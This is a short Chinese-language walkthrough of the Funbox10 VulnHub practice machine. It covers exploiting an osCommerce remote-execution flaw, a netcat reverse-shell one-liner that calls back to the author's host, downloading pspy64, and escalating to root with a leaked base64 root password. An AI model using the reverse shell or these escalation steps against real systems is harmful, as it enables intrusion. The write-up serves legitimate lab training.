Funbox10靶机详解
最难的就是反弹shell,学会了一些新的反弹shell命令。
靶机下载地址:https://download.vulnhub.com/funbox/Funbox10.ova
我wget能下载文件的原因是我在kali上开启了apache2服务,常用文件放一起就好了。
service apache2 start
这个靶机扫描ip并没有什么有用的东西,就不展示了。
扫目录时候发现一个/catalog目录。
进去后发现有点像一个CMS,就去搜索了一下有没有漏洞。
没想到一搜全是漏洞。
searchsploit oscommerce
下载了一个远程执行漏洞。
看了一下源码说是有两个参数,并且参数必须严格这个格式,
执行后发现拿到一个shell,但是这个shell权限很低,命令都不能用,就像做一个反弹shell
但是试了很多命令都不行。
就下面这个命令执行成功了。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.102.129 8888 >/tmp/f
拿到shell以后执行:
pyhton3 -c "import pty;pty.spawn('/bin/bash')"
ls查看一下,在当前目录下,找到了configure.php.bak
文件,里面有一个jack用户的账号密码,su一下就登陆上了。
但进去这个用户后其实也没啥东西,很难找到东西。
我们可以利用pspy64查看执行的进程,需要自己下载。
wget 192.168.102.129/pspy64
加一个执行权限,然后执行。
发现每隔一段时间就会执行一个文件。
我们进去这个目录看看,cat一下发现点线索,一看这就是一个base64编码的。
/usr/share/doc/examples/
解码一下发现是root的密码。
-u root -p rfvbgt!!
成功拿到root权限。